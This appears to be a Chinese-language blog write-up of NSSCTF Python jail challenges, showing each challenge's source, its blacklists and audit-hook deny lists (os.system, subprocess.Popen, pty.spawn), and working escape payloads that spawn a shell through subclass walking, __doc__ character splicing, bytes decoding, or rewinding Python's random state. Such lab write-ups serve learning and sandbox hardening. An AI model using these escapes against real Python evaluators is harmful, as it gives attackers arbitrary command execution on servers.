DESCRIPTION
#it seems have a backdoor as `lake lake lake`
#but it seems be limited!
#can u find the key of it and use the backdoor

FUNCTIONS
backdoor()

func()

DATA
WELCOME = '\n _ _ _ _ _ ... ...
__annotations__ = {}
input_data = '1'
key_9d38ee7f31d6126d = '95c720690c2c83f0982ffba63ff87338'

FILE
/home/ctf/server.py

发现得到了key,拿到flag:

1
2
3
4
5
6
7
8
9
10
11
Now the program has two functions
can you use dockerdoor
1.func
2.backdoor
> 2
Please enter the admin key
>95c720690c2c83f0982ffba63ff87338
>__import__('os').system('cat flag')
flag=NSSCTF{6a895fc7-2871-4496-a0d7-f0a5e6873f6c}
0
problem in server - SystemExit: 0

calc_jail_beginner_level5

level5 is so easy challenge

Let’s have nice idea to leak my flag

这题没有给附件,先连一下环境:

1
2
It's so easy challenge!
Seems flag into the dir()

尝试使用一句话RCE,发现过了,直接拿flag。ls发现这题有好几个文件:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
__import__('os').system('sh')
py

#It's an challenge for jaillevel5 let's read your flag!
import load_flag

flag = load_flag.get_flag()

def main():
WELCOME = '''
_ _ _ _ _ _ _ _____
| | (_) (_) (_) | | | | ____|
| |__ ___ __ _ _ _ __ _ __ ___ _ __ _ __ _ _| | | _____ _____| | |__
| '_ \ / _ \/ _` | | '_ \| '_ \ / _ \ '__| | |/ _` | | | |/ _ \ \ / / _ \ |___ \
| |_) | __/ (_| | | | | | | | | __/ | | | (_| | | | | __/\ V / __/ |___) |
|_.__/ \___|\__, |_|_| |_|_| |_|\___|_| | |\__,_|_|_|_|\___| \_/ \___|_|____/
__/ | _/ |
|___/ |__/

'''
print(WELCOME)
print("It's so easy challenge!")
print("Seems flag into the dir()")
repl()


def repl():
my_global_dict = dict()
my_global_dict['my_flag'] = flag
input_code = input("> ")
complie_code = compile(input_code, '<string>', 'single')
exec(complie_code, my_global_dict)

if __name__ == '__main__':
main()

laKe laKe laKe

you’re an python master which solved l@ke l@ke l@ke

So now it’s time for laKe laKe laKe

Good luck!!!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
#You finsih these two challenge of leak
#So cool
#Now it's time for laKe!!!!

import random
from io import StringIO
import sys
sys.addaudithook

BLACKED_LIST = ['compile', 'eval', 'exec', 'open']

eval_func = eval
open_func = open

for m in BLACKED_LIST:
del __builtins__.__dict__[m]


def my_audit_hook(event, _):
BALCKED_EVENTS = set({'pty.spawn', 'os.system', 'os.exec', 'os.posix_spawn','os.spawn','subprocess.Popen'})
if event in BALCKED_EVENTS:
raise RuntimeError('Operation banned: {}'.format(event))

def guesser():
game_score = 0
sys.stdout.write('Can u guess the number? between 1 and 9999999999999 > ')
sys.stdout.flush()
right_guesser_question_answer = random.randint(1, 9999999999999)
sys.stdout, sys.stderr, challenge_original_stdout = StringIO(), StringIO(), sys.stdout

try:
input_data = eval_func(input(''),{},{})
except Exception:
sys.stdout = challenge_original_stdout
print("Seems not right! please guess it!")
return game_score
sys.stdout = challenge_original_stdout

if input_data == right_guesser_question_answer:
game_score += 1

return game_score

WELCOME='''
_ _ __ _ _ __ _ _ __
| | | |/ / | | | |/ / | | | |/ /
| | __ _| ' / ___ | | __ _| ' / ___ | | __ _| ' / ___
| |/ _` | < / _ \ | |/ _` | < / _ \ | |/ _` | < / _ \
| | (_| | . \ __/ | | (_| | . \ __/ | | (_| | . \ __/
|_|\__,_|_|\_\___| |_|\__,_|_|\_\___| |_|\__,_|_|\_\___|

'''

def main():
print(WELCOME)
print('Welcome to my guesser game!')
game_score = guesser()
if game_score == 1:
print('you are really super guesser!!!!')
print(open_func('flag').read())
else:
print('Guess game end!!!')

if __name__ == '__main__':
sys.addaudithook(my_audit_hook)
main()

题目引入了一个sys.addaudithook机制,这个机制为了给沙箱提供安全保障,题目也ban掉了大部分常用的RCE函数,也ban了'compile', 'eval', 'exec', 'open'这几个。

题目的实质不难看出这是个猜数游戏,用random.randint进行的一个猜数游戏。这里牵扯到一个random库的随机数生成问题。接下来来回顾一下:

random库生成随机数用getrandbits(32),每次产生32位序列,每组随机数为624个,然后进行一轮旋转产生一波新的624个随机数。

以前没有研究过的是,在这个随机库中还包含两个比较实用的函数getstate()setstate()。通过导库之后用getstate()可以得到一个元组(省略号省略了624个32位随机数):

1
(3, (..., 624), None)

经过简单的测试发现在这个三元组里第一和第三个元素始终是3和None,第二个元组中最后一个数其实类似于一个随机数指针,指向现在生成到的随机数,通过调用一次getrandint(32)之后发现改变:

1
(3, (..., 1), None)

同时,省略号的随机数序列也更新到了新的一组。这里我尝试用setstate()将当前的state转回0位置,这样我再生成的随机数和一开始的随机数是一致的:

1
2
3
4
5
6
from random import *

print(getrandbits(32))
res = getstate()
setstate((3, tuple(list(res[1][:624]) + [0]), None))
print(getrandbits(32))

所以,可以通过这个方法输入一个操作,使得我们能获得当前随机数序列的状态state,并回到0位置重新生成一个题目的生成random.randint(1, 9999999999999),这样我们生成的随机数和题目的随机数应该是一摸一样的,相当于”猜“出了这个随机数。

现在问题来了,该如何在一行代码里满足我们的这个操作呢?

这里不得不提到之前做题时经常发现的一个比较抽象的运算符:=(这玩意在py3.8引入,还有一个广泛的别名:它长得比较像海象,所以又叫海象运算符,用这个运算符可以构成赋值表达式)。

这个运算符可以对表达式进行赋值给运算符左边的变量,举个例子:

1
2
3
4
5
6
7
8
9
10
print(
[
random := __import__("random"),
random.randint(1, 9999999999999),
random.setstate((3, tuple(list(random.getstate()[1][:624]) + [0]), None)),
random.randint(1, 9999999999999),
]
)

# [<module 'random' from 'random.py'>, 4180160353219, None, 4180160353219]

我们用一个list来装这四个表达式,第一个表达式我们用__import__来导入random库,并直接赋值给random参数,相当于直接用random导入了random库import random,接下来由于list是从前往后运算的性质,接下来就可以利用random.去引用库函数了,根据上面的随机数理论,在第二个和第四个表达式中生成的两个随机数应该是一样的,所以根据这个思路,就可以用一句话去得到我们需要猜的数:

1
[random := __import__("random"), random.setstate((3, tuple(list(random.getstate()[1][:624]) + [0]), None)), random.randint(1, 9999999999999)][-1]

4 byte command

4byte to rce,So easy!!!

题目没有给附件,先连一下环境:

1
2
3
4
5
6
7
8
9
10
11
12
13
  _                _                           _       _ _   _                _ _  _
| | (_) (_) (_) | | | | | || |
| |__ ___ __ _ _ _ __ _ __ ___ _ __ _ __ _ _| | | | _____ _____| | || |_
| '_ \ / _ \/ _` | | '_ \| '_ \ / _ \ '__| | |/ _` | | | | |/ _ \ \ / / _ \ |__ _|
| |_) | __/ (_| | | | | | | | | __/ | | | (_| | | | | | __/\ V / __/ | | |
|_.__/ \___|\__, |_|_| |_|_| |_|\___|_| | |\__,_|_|_| |_|\___| \_/ \___|_| |_|
__/ | _/ |
|___/ |__/


Welcome to the python jail
Let's have an beginner jail of calc
Enter your expression and I will evaluate it for you.

这里随便输入点东西,发现:

1
2
3
Enter your expression and I will evaluate it for you.
> 1
sh: 1: 1: not found

这是直接在sh里执行了代码,这就提示我们是用的os.system(input_data)去执行的输入,所以我们直接输入sh即可拿到shell:

1
2
3
4
5
Enter your expression and I will evaluate it for you.
> sh
sh: 0: can't access tty; job control turned off
$ cat flag
flag=NSSCTF{8b417c0a-f90f-4cfc-beb0-ee9b2573bba7}

源代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#4 byte to have an rce
import os

WELCOME = '''
_ _ _ _ _ _ _ _ _
| | (_) (_) (_) | | | | | || |
| |__ ___ __ _ _ _ __ _ __ ___ _ __ _ __ _ _| | | | _____ _____| | || |_
| '_ \ / _ \/ _` | | '_ \| '_ \ / _ \ '__| | |/ _` | | | | |/ _ \ \ / / _ \ |__ _|
| |_) | __/ (_| | | | | | | | | __/ | | | (_| | | | | | __/\ V / __/ | | |
|_.__/ \___|\__, |_|_| |_|_| |_|\___|_| | |\__,_|_|_| |_|\___| \_/ \___|_| |_|
__/ | _/ |
|___/ |__/

'''

print(WELCOME)

print("Welcome to the python jail")
print("Let's have an beginner jail of calc")
print("Enter your expression and I will evaluate it for you.")
input_data = input("> ")
if len(input_data)>4:
print("Oh hacker!")
exit(0)
print('Answer: {}'.format(os.system(input_data)))

calc_jail_beginner_level5.1

crazyman has a bad error on level5

now level5.1 come back

work your exploit!!!

依然是没有给附件,连一下环境:

1
2
It's so easy challenge!
Seems flag into the dir()

尝试一句话RCE:

1
2
3
4
5
6
7
> __import__('os').system('sh')
Traceback (most recent call last):
File "/home/ctf/./server.py", line 42, in <module>
File "/home/ctf/./server.py", line 31, in main
File "/home/ctf/./server.py", line 39, in repl
File "<string>", line 1, in <module>
NameError: name '__import__' is not defined

发现甚至没有__import__,简单试了几个,发现也没有open,继续测试:

1
2
> dir()
['__builtins__', 'my_flag']

查看一下__builtins__

1
2
3
4
5
6
7
8
9
> __builtins__
Traceback (most recent call last):
File "/home/ctf/./server.py", line 42, in <module>
File "/home/ctf/./server.py", line 31, in main
File "/home/ctf/./server.py", line 39, in repl
File "<string>", line 1, in <module>
File "/usr/lib/python3.10/_sitebuiltins.py", line 61, in __repr__
File "/usr/lib/python3.10/_sitebuiltins.py", line 50, in __setup
NameError: name 'open' is not defined

发现open没有无法直接得到__builtins__,这时想起了Show subclasses with tuple:

1
().__class__.__base__.__subclasses__()

发送之后得到了__builtins__。并且找到了 <class 'os._wrap_close'>,就直接按照这个方法拿shell:

1
().__class__.__base__.__subclasses__()[-6].__init__.__globals__['system']('sh')

顺带获取一下源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
#It's an challenge for jaillevel5 let's read your flag!
import load_flag

BLACKLIST = ['__loader__', '__import__', 'compile', 'eval', 'exec', 'open','print']

exec_func = exec
compile_func = compile
print_func = print

for k in BLACKLIST:
del __builtins__.__dict__[k]

del __loader__, __builtins__

flag = load_flag.get_flag()

def main():
WELCOME = '''
_ _ _ _ _ _ _ _____ __
| | (_) (_) (_) | | | | ____/_ |
| |__ ___ __ _ _ _ __ _ __ ___ _ __ _ __ _ _| | | _____ _____| | |__ | |
| '_ \ / _ \/ _` | | '_ \| '_ \ / _ \ '__| | |/ _` | | | |/ _ \ \ / / _ \ |___ \ | |
| |_) | __/ (_| | | | | | | | | __/ | | | (_| | | | | __/\ V / __/ |___) || |
|_.__/ \___|\__, |_|_| |_|_| |_|\___|_| | |\__,_|_|_|_|\___| \_/ \___|_|____(_)_|
__/ | _/ |
|___/ |__/

'''
print_func(WELCOME)
print_func("It's so easy challenge!")
print_func("Seems flag into the dir()")
repl()


def repl():
my_global_dict = dict()
my_global_dict['my_flag'] = flag
input_code = input("> ")
complie_code = compile_func(input_code, '<string>', 'single')
exec_func(complie_code, my_global_dict)

if __name__ == '__main__':
main()

lak3 lak3 lak3

“laKe laKe laKe have some interesting sol

But now lak3 lak3 lak3 is back

G00d luck! Hackers

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
#Hi hackers,lak3 comes back
#Have a good luck on it! :Wink:

import random
from io import StringIO
import sys
sys.addaudithook

BLACKED_LIST = ['compile', 'eval', 'exec']

eval_func = eval
open_func = open

for m in BLACKED_LIST:
del __builtins__.__dict__[m]


def my_audit_hook(event, _):
BALCKED_EVENTS = set({'pty.spawn', 'os.system', 'os.exec', 'os.posix_spawn','os.spawn','subprocess.Popen','code.__new__','function.__new__','cpython._PySys_ClearAuditHooks','open'})
if event in BALCKED_EVENTS:
raise RuntimeError('Operation banned: {}'.format(event))

def guesser():
game_score = 0
sys.stdout.write('Can u guess the number? between 1 and 9999999999999 > ')
sys.stdout.flush()
right_guesser_question_answer = random.randint(1, 9999999999999)
sys.stdout, sys.stderr, challenge_original_stdout = StringIO(), StringIO(), sys.stdout

try:
input_data = eval_func(input(''),{},{})
except Exception:
sys.stdout = challenge_original_stdout
print("Seems not right! please guess it!")
return game_score
sys.stdout = challenge_original_stdout

if input_data == right_guesser_question_answer:
game_score += 1

return game_score

WELCOME='''
_ _ ____ _ _ ____ _ _ ____
| | | | |___ \ | | | | |___ \ | | | | |___ \
| | __ _| | __ __) | | | __ _| | __ __) | | | __ _| | __ __) |
| |/ _` | |/ /|__ < | |/ _` | |/ /|__ < | |/ _` | |/ /|__ <
| | (_| | < ___) | | | (_| | < ___) | | | (_| | < ___) |
|_|\__,_|_|\_\____/ |_|\__,_|_|\_\____/ |_|\__,_|_|\_\____/

'''

def main():
print(WELCOME)
print('Welcome to my guesser game!')
game_score = guesser()
if game_score == 1:
print('you are really super guesser!!!!')
print('flag{fake_flag_in_local_but_really_in_The_remote}')
else:
print('Guess game end!!!')

if __name__ == '__main__':
sys.addaudithook(my_audit_hook)
main()

跟前面那个题似乎类似,因为我们的方法并没有使用任何的RCE技巧,所以尝试了一下用相同的方法,直接过了:

1
2
3
Can u guess the number? between 1 and 9999999999999 > [random := __import__("random"), random.setstate((3, tuple(list(random.getstate()[1][:624]) + [0]), None)), random.randint(1, 9999999999999)][-1]
you are really super guesser!!!!
NSSCTF{9df8e5bc-d76d-4d80-a437-9fccefcbd58d}

tyPe Ch@nnEl

给出了源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
MY_FLAG = "NSSCTF{fake_flag_in_local_but_really_in_The_remote}"
BLACED_KLIST = '"%&\',-/_:;@\\`{|}~*<=>[] \t\n\r'

def my_safe_check(n):
return all(ord(m) < 0x7f for m in n) and all(m not in n for m in BLACED_KLIST)

def my_safe_eval(m, my_func):
if not my_safe_check(m):
print("Hacker!!!!")
else:
try:
print(eval(f"{my_func.__name__}({m})", {"__builtins__": {my_func.__name__: my_func}, "flag": MY_FLAG}))
except:
print("Try again!")

if __name__ == "__main__":
my_safe_eval(input("Payload:"), type)

简单了解一下python里的all()的用法:

all(Iterable)在可迭代对象中如果每一个值都为True那么all()也返回布尔值True。

如果可迭代对象是空的那么也返回True。

calc_jail_beginner_level4

So cool that u finished the week1 challenge

No dangerous password no chr try to hack me!!!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
#No danger function,no chr,Try to hack me!!!!
#Try to read file ./flag


BANLIST = ['__loader__', '__import__', 'compile', 'eval', 'exec', 'chr']

eval_func = eval

for m in BANLIST:
del __builtins__.__dict__[m]

del __loader__, __builtins__

def filter(s):
not_allowed = set('"\'`')
return any(c in not_allowed for c in s)

WELCOME = '''
_ _ _ _ _ _ _ _ _
| | (_) (_) (_) | | | | | || |
| |__ ___ __ _ _ _ __ _ __ ___ _ __ _ __ _ _| | | | _____ _____| | || |_
| '_ \ / _ \/ _` | | '_ \| '_ \ / _ \ '__| | |/ _` | | | | |/ _ \ \ / / _ \ |__ _|
| |_) | __/ (_| | | | | | | | | __/ | | | (_| | | | | | __/\ V / __/ | | |
|_.__/ \___|\__, |_|_| |_|_| |_|\___|_| | |\__,_|_|_| |_|\___| \_/ \___|_| |_|
__/ | _/ |
|___/ |__/
'''

print(WELCOME)

print("Welcome to the python jail")
print("Let's have an beginner jail of calc")
print("Enter your expression and I will evaluate it for you.")
input_data = input("> ")
if filter(input_data):
print("Oh hacker!")
exit(0)
print('Answer: {}'.format(eval_func(input_data)))

看了一下被禁用的内容,不影响使用Show subclasses with tuple:

1
().__class__.__base__.__subclasses__()

找到<class 'os._wrap_close'>在倒数第四个,拿出payload:

1
().__class__.__base__.__subclasses__()[-4].__init__.__globals__['system']('sh')

注意这题还ban掉了单引号双引号反引号,将payload里的两个字符串改一下bytes型:

1
().__class__.__base__.__subclasses__()[-4].__init__.__globals__[bytes([115, 121, 115, 116, 101, 109]).decode()](bytes([115, 104]).decode())

当然,方法总部困难多,如果bytes型这种也不让使用的话,还有一种比较巧妙的方法,就是从魔术方法的文档里去找字符然后进行拼接:

__doc__魔术方法能从默认的类里找到相对应的文档,例如().__doc__就是tuple类的文档,输出:

1
2
3
4
5
6
Built-in immutable sequence.

If no argument is given, the constructor returns an empty tuple.
If iterable is specified the tuple is initialized from iterable's items.

If the argument is a tuple, the return value is the same object.

返回了一段字符串文字,可以从里面找到我们需要的字母的偏移量,然后拿来用偏移量表示字符即可:

1
2
3
().__doc__.find('s')

# 19

下次想使用字符s的时候,直接使用().__doc__[19]即可。只要我们选择的文档里面有足够多的字母,那么就可以得到想要的字母。

1
().__class__.__base__.__subclasses__()[-4].__init__.__globals__[().__doc__[19]+().__doc__[86]+().__doc__[19]+().__doc__[4]+().__doc__[17]+().__doc__[10]](().__doc__[19]+().__doc__[56])

事实上,通过ls发现flag文件就叫flag,在已知flag文件名字的前提下,可以直接使用open('flag').read()去改写,两种方法如下:

1
2
3
4
open(bytes([102, 108, 97, 103]).decode()).read()

# print([().__doc__.find('f'),().__doc__.find('l'),().__doc__.find('a'),().__doc__.find('g')])
open(().__doc__[31]+().__doc__[3]+().__doc__[14]+().__doc__[38]).read()

calc_jail_beginner_level4.0.5

So cool that u finished the week1 challenge Let’s 4.0.5

No dangerous password no chr try to hack me!!!

没有附件:

1
2
3
4
Welcome to the python jail
Let's have an beginner jail of calc
Enter your expression and I will evaluate it for you.
Banned __loader__,__import__,compile,eval,exec,chr,input,locals,globals and `,",' Good luck!

尝试同样用上面的方法直接过了,获取一下源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
#No danger function,no chr,Try to hack me!!!!
#Try to read file ./flag


BANLIST = ['__loader__', '__import__', 'compile', 'eval', 'exec', 'chr', 'input','locals','globals']

my_eval_func_0002321 = eval
my_input_func_2309121 = input

for m in BANLIST:
del __builtins__.__dict__[m]

del __loader__, __builtins__

def filter(s):
not_allowed = set('"\'`')
return any(c in not_allowed for c in s)

WELCOME = '''
_ _ _ _ _ _ _ _ _ ___ _____
| | (_) (_) (_) | | | | | || | / _ \ | ____|
| |__ ___ __ _ _ _ __ _ __ ___ _ __ _ __ _ _| | | | _____ _____| | || |_| | | || |__
| '_ \ / _ \/ _` | | '_ \| '_ \ / _ \ '__| | |/ _` | | | | |/ _ \ \ / / _ \ |__ _| | | ||___ \
| |_) | __/ (_| | | | | | | | | __/ | | | (_| | | | | | __/\ V / __/ | | |_| |_| | ___) |
|_.__/ \___|\__, |_|_| |_|_| |_|\___|_| | |\__,_|_|_| |_|\___| \_/ \___|_| |_(_)\___(_)____/
__/ | _/ |
|___/ |__/

'''

print(WELCOME)

print("Welcome to the python jail")
print("Let's have an beginner jail of calc")
print("Enter your expression and I will evaluate it for you.")
print("Banned __loader__,__import__,compile,eval,exec,chr,input,locals,globals and `,\",' Good luck!")
input_data = my_input_func_2309121("> ")
if filter(input_data):
print("Oh hacker!")
exit(0)
print('Answer: {}'.format(my_eval_func_0002321(input_data)))

calc_jail_beginner_level4.1

So cool that u finished the 4.0 challenge

but now u can read file

也没有附件:

1
2
3
4
Welcome to the python jail
Let's have an beginner jail of calc
Enter your expression and I will evaluate it for you.
Banned __loader__,__import__,compile,eval,exec,chr,input,locals,globals,bytes and `,",' Good luck!

用level4的做法还是可以,注意这题已经把bytes给ban掉了:

1
().__class__.__base__.__subclasses__()[-4].__init__.__globals__[().__doc__[19]+().__doc__[86]+().__doc__[19]+().__doc__[4]+().__doc__[17]+().__doc__[10]](().__doc__[19]+().__doc__[56])

而且这题flag文件名字也改了,所以投机取巧的方法也不成功。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
#No danger function,no chr,Try to hack me!!!!
#Try to read file ./flag


BANLIST = ['__loader__', '__import__', 'compile', 'eval', 'exec', 'chr','input','locals','globals','bytes']

my_eval_func_ABDC8732 = eval
my_input_func_001EC9GP = input

for m in BANLIST:
del __builtins__.__dict__[m]

del __loader__, __builtins__

def filter(s):
not_allowed = set('"\'`')
return any(c in not_allowed for c in s)

WELCOME = '''
_ _ _ _ _ _ _ _ _ __
| | (_) (_) (_) | | | | | || |/_ |
| |__ ___ __ _ _ _ __ _ __ ___ _ __ _ __ _ _| | | | _____ _____| | || |_| |
| '_ \ / _ \/ _` | | '_ \| '_ \ / _ \ '__| | |/ _` | | | | |/ _ \ \ / / _ \ |__ _| |
| |_) | __/ (_| | | | | | | | | __/ | | | (_| | | | | | __/\ V / __/ | | |_| |
|_.__/ \___|\__, |_|_| |_|_| |_|\___|_| | |\__,_|_|_| |_|\___| \_/ \___|_| |_(_)_|
__/ | _/ |
|___/ |__/
'''

print(WELCOME)

print("Welcome to the python jail")
print("Let's have an beginner jail of calc")
print("Enter your expression and I will evaluate it for you.")
print("Banned __loader__,__import__,compile,eval,exec,chr,input,locals,globals,bytes and `,\",' Good luck!")
input_data = my_input_func_001EC9GP("> ")
if filter(input_data):
print("Oh hacker!")
exit(0)
print('Answer: {}'.format(my_eval_func_ABDC8732(input_data)))

如果bytes被删掉了,其实还可以利用Show subclasses with tuple找到bytes类:

1
().__class__.__base__.__subclasses__()

找到里面的<class 'bytes'>,修改之前的payload,将payload改成Show subclasses with tuple表达的形式:

1
().__class__.__base__.__subclasses__()[-4].__init__.__globals__[().__class__.__base__.__subclasses__()[6]([115, 121, 115, 116, 101, 109]).decode()](().__class__.__base__.__subclasses__()[6]([115, 104]).decode())

calc_jail_beginner_level4.2

So cool that u finished the 4.1 challenge

filter + try again!!!

还是没有源码:

1
2
3
4
Welcome to the python jail
Let's have an beginner jail of calc
Enter your expression and I will evaluate it for you.
Banned __loader__,__import__,compile,eval,exec,chr,input,locals,globals,byte and `,",',+ Good luck!

这题试了一下__doc__拼接的方法,并没有成功,测试了一下好像是+被拿下了,python还提供了一个join()方法用来连接字符串,之前也用过,所以直接拿来改payload:

join()常用的方法就是''.join(['1','2','3','4']) == '1234',这里由于引号被ban了,可以直接使用str().join()来代替。

1
().__class__.__base__.__subclasses__()[-4].__init__.__globals__[str().join([().__doc__[19],().__doc__[86],().__doc__[19],().__doc__[4],().__doc__[17],().__doc__[10]])](str().join([().__doc__[19],().__doc__[56]]))

获取了源码发现确实是ban掉了加号:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
#No danger function,no chr,Try to hack me!!!!
#Try to read file ./flag


BANLIST = ['__loader__', '__import__', 'compile', 'eval', 'exec', 'chr','input','locals','globals','bytes']

my_eval_func_00EFCDB = eval
my_input_func_00FDCAB = input

for m in BANLIST:
del __builtins__.__dict__[m]

del __loader__, __builtins__

def filter(s):
not_allowed = set('"\'`+')
return any(c in not_allowed for c in s)

WELCOME = '''
_ _ _ _ _ _ _ _ _ ___
| | (_) (_) (_) | | | | | || | |__ \
| |__ ___ __ _ _ _ __ _ __ ___ _ __ _ __ _ _| | | | _____ _____| | || |_ ) |
| '_ \ / _ \/ _` | | '_ \| '_ \ / _ \ '__| | |/ _` | | | | |/ _ \ \ / / _ \ |__ _| / /
| |_) | __/ (_| | | | | | | | | __/ | | | (_| | | | | | __/\ V / __/ | | |_ / /_
|_.__/ \___|\__, |_|_| |_|_| |_|\___|_| | |\__,_|_|_| |_|\___| \_/ \___|_| |_(_)____|
__/ | _/ |
|___/ |__/


'''

print(WELCOME)

print("Welcome to the python jail")
print("Let's have an beginner jail of calc")
print("Enter your expression and I will evaluate it for you.")
print("Banned __loader__,__import__,compile,eval,exec,chr,input,locals,globals,byte and `,\",',+ Good luck!")
input_data = my_input_func_00FDCAB("> ")
if filter(input_data):
print("Oh hacker!")
exit(0)
print('Answer: {}'.format(my_eval_func_00EFCDB(input_data)))

事实上,这题也可以用4.1里的bytes那种方法,所以也可以这样:

1
().__class__.__base__.__subclasses__()[-4].__init__.__globals__[().__class__.__base__.__subclasses__()[6]([115, 121, 115, 116, 101, 109]).decode()](().__class__.__base__.__subclasses__()[6]([115, 104]).decode())

calc_jail_beginner_level4.3

So cool that u finished the 4.1 challenge

filter +++ try again!!!

没有附件:

1
2
3
4
Welcome to the python jail
Let's have an beginner jail of calc
Enter your expression and I will evaluate it for you.
Banned __loader__,__import__,compile,eval,exec,chr,input,locals,globals,bytes,open,type and `,",',+ Good luck!

试试前几关的payload,首先是用bytes改写,成功:

1
().__class__.__base__.__subclasses__()[-4].__init__.__globals__[().__class__.__base__.__subclasses__()[6]([115, 121, 115, 116, 101, 109]).decode()](().__class__.__base__.__subclasses__()[6]([115, 104]).decode())

看看源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
BANLIST = ['__loader__', '__import__', 'compile', 'eval', 'exec', 'chr','input','locals','globals','bytes','type','open']

my_eval_func_002EFCDB = eval
my_input_func_000FDCAB = input

for m in BANLIST:
del __builtins__.__dict__[m]

del __loader__, __builtins__

def filter(s):
not_allowed = set('"\'`+')
return any(c in not_allowed for c in s)

def main():
WELCOME = '''
_ _ _ _ _ _ _ _ _ ____
| | (_) (_) (_) | | | | | || | |___ \
| |__ ___ __ _ _ _ __ _ __ ___ _ __ _ __ _ _| | | | _____ _____| | || |_ __) |
| '_ \ / _ \/ _` | | '_ \| '_ \ / _ \ '__| | |/ _` | | | | |/ _ \ \ / / _ \ |__ _||__ <
| |_) | __/ (_| | | | | | | | | __/ | | | (_| | | | | | __/\ V / __/ | | |_ ___) |
|_.__/ \___|\__, |_|_| |_|_| |_|\___|_| | |\__,_|_|_| |_|\___| \_/ \___|_| |_(_)____/
__/ | _/ |
|___/ |__/


'''

print(WELCOME)

print("Welcome to the python jail")
print("Let's have an beginner jail of calc")
print("Enter your expression and I will evaluate it for you.")
print("Banned __loader__,__import__,compile,eval,exec,chr,input,locals,globals,bytes,open,type and `,\",',+ Good luck!")
input_data = my_input_func_000FDCAB("> ")
if filter(input_data):
print("Oh hacker!")
exit(0)
print('Answer: {}'.format(my_eval_func_002EFCDB(input_data)))

if __name__ == '__main__':
main()

再来试试join,也成功:

1
().__class__.__base__.__subclasses__()[-4].__init__.__globals__[str().join([().__doc__[19],().__doc__[86],().__doc__[19],().__doc__[4],().__doc__[17],().__doc__[10]])](str().join([().__doc__[19],().__doc__[56]]))
 评论
评论插件加载失败
正在加载评论插件
总字数 77.8k 访客数 访问量